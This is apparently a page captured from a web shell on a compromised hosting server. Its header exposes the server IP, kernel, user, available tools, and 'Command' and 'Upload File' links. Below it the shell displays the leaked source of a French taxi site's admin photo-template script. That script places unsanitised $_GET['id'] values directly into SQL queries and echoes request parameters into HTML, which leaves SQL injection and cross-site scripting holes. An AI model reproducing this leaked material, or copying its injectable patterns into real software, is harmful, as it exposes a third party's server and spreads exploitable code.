|
Server IP : 10.111.40.2 / Your IP : 216.73.217.145 Web Server : Apache System : Linux webd002.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : comimage ( 586) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/comimage/referencements.comimage/../taxiplus22.fr/archives/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*
** load the template and css and img
** into div or frame and adding script js
** to upload the photo by clicking on a img
** replace image by img tmp
*/
require 'includes/session.php';
$path = "../";
require '../includes/conf.inc.php';
if(isset($_GET["id"])){
/*
** recuperation des photos de la pages
*/
$SQLphoto = "SELECT * FROM ".$prefix."photo WHERE idarticle=".$_GET["id"];
$RSphoto = $con->createResultSet($SQLphoto, $databasename);
if($RSphoto->getNumberRows() > 0){
foreach($RSphoto as $photo){
$GLOBALS["photoList"][$photo["position"]] = array("id"=>$photo["idphoto"], "nom"=>$photo["nom"], "preview"=>$photo["miniature"], "alt"=>$photo["alt"]);
}
}
/********/
$SQLtempl = "SELECT a.idarticle, a.pagename as page, a.idtemplate, t.idtemplate, t.chemin as chemin FROM ".$prefix."article a, ".$prefix."template t WHERE a.idarticle = ".$_GET["id"]." AND a.idtemplate = t.idtemplate";
$RStempl = $con->createResultSet($SQLtempl, $databasename);
if($RStempl->getNumberRows() > 0){
$templ = $RStempl->current();
$p = explode("/", $templ["chemin"], -1);
$pt = implode("/", $p);
$temp_content_template = file_get_contents("../".$pt."/incl_haut.htm");
$temp_content_template .= '<input type="hidden" name="txtIdPage" value="'.$_GET["id"].'" />';
$temp_content_template .= '<link rel="stylesheet" href="../includes/back-photo.css" type="text/css" />';
$temp_content_template .= '<script language="javascript" src="../includes/jquery-1.2.2.js"></script>';
$temp_content_template .= '<script language="javascript" src="../includes/script-photo-back.js"></script>';
$temp_content_template .= '<script language="javascript" src="../includes/jquery.dimensions"></script>';
$temp_content_template .= '<script language="javascript" src="../includes/ui.mouse.js"></script>';
$temp_content_template .= '<script language="javascript" src="../includes/ui.draggable.js"></script>';
$temp_content_template .= '<script language="javascript" src="../includes/ui.draggable.ext.js"></script>';
$temp_content_template .= file_get_contents("../".$templ["chemin"]);
$temp_content_template .= file_get_contents("../".$pt."/incl_bas.htm");
$tmp1 = preg_split("#<body>#i", $temp_content_template);
$temp_content_template = $tmp1[0].'<body><form name="frmUpPh" id="frmUpPh" method="post" enctype="multipart/form-data" action="uploadphoto.php" >';
$temp_content_template .= '<input type="hidden" name="idarticle" value="'.$_GET["id"].'" /><input type="hidden" name="pagename" value="'.$templ["page"].'" /><input type="hidden" name="f" value="'.$_GET["f"].'" />'.$tmp1[1];
$GLOBALS["pageName"] = $templ["page"];
$tmp = preg_split("#</body>#i", $temp_content_template);
$temp_content_template = $tmp[0]."</form></body>".$tmp[1];
$pat = array('#src=\"#', '#src=\'#', '#href="css/#', '#href=\'css/#');
$rep = array('src="../', 'src="../', 'href="../css/', 'href="../css/');
$GLOBALS["new_temp"] = preg_replace('@##PATH##@', "../".$pt."/", $temp_content_template);
preg_match_all("@##PHOTO([\|\w\d]+)##@", $GLOBALS["new_temp"], $macroPh);
foreach($macroPh[0] as $m){
remplaceMacro($m);
}
print $GLOBALS["new_temp"];
// echo "<br/>upload_max_filesize = " . ini_get("upload_max_filesize") . "<br/>";
}else{
print "Pas de template associé � la page. <a href='listarticle.php'>Cliquer ICI</a> pour revenir � la page précédente";
}
}else{
header("Location: listarticle.php");
}
function remplaceMacro($macro){
$macroValue = substr($macro, 2, strlen($macro)-4);
$paramPh = preg_split("#\|#", $macroValue);
$width = $paramPh[1];
$height = $paramPh[2];
$pos = $paramPh[3];
$imgSrc = isset($GLOBALS["photoList"][$pos])?"../photos/".$GLOBALS["pageName"]."/".$GLOBALS["photoList"][$pos]["preview"]:"../photos/sansphotos.jpg";
$cheminFin = "../photos/".$GLOBALS["pageName"];//."/".$GLOBALS["photoList"][$pos]["preview"];
$urlReload = urlencode("http://".$_SERVER["SERVER_NAME"]. $_SERVER["REQUEST_URI"]);
$GLOBALS["new_temp"] = preg_replace("@##PHOTO\|".$width."\|".$height."\|".$pos."(\|LIGHTBOX)?##@", "<a href='#'><img src='$imgSrc' width='$width' height='$height' class='ph-back' onclick=\"javascript:window.open ('loader/index.php?path=".$cheminFin."&w=".$width."&h=".$height."&id=".$_GET['id']."&pos=".$pos."&f=".$_GET['f']."&url=".$urlReload."', 'loader', config='height=150, width=400, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no');\" alt='$pos' /></a><input type='hidden' name='imgpos$pos' value='$width|$height' />", $GLOBALS["new_temp"], 1);
}
?>
